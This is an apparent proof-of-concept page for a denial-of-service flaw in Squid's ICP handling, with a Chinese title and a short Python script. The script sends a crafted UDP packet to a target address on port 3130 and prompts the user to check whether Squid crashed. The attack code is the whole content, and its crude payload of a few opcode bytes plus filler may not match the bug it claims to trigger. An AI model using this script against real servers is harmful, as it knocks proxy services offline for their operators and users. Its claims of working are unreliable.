CVE-2026-32748 Squid ICP处理拒绝服务漏洞

import socket # PoC for CVE-2026-32748: Squid ICP UAF Denial of Service # Description: This script sends a malformed ICP packet to trigger the UAF bug. # Note: Target must have ICP enabled (non-zero icp_port). def send_icp_packet(target_ip, target_port): try: # Create a UDP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Malformed payload to trigger resource release issue # ICP opcode usually 1 (QUERY), followed by length and other fields. # This payload is crafted to exploit the specific UAF condition. payload = b'\x01\x00\x00\x00' + b'A' * 100 sock.sendto(payload, (target_ip, target_port)) print(f"[+] Payload sent to {target_ip}:{target_port}") print("[+] Check if Squid service crashed.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and ICP port (default 3130) target = "192.168.1.100" port = 3130 send_icp_packet(target, port)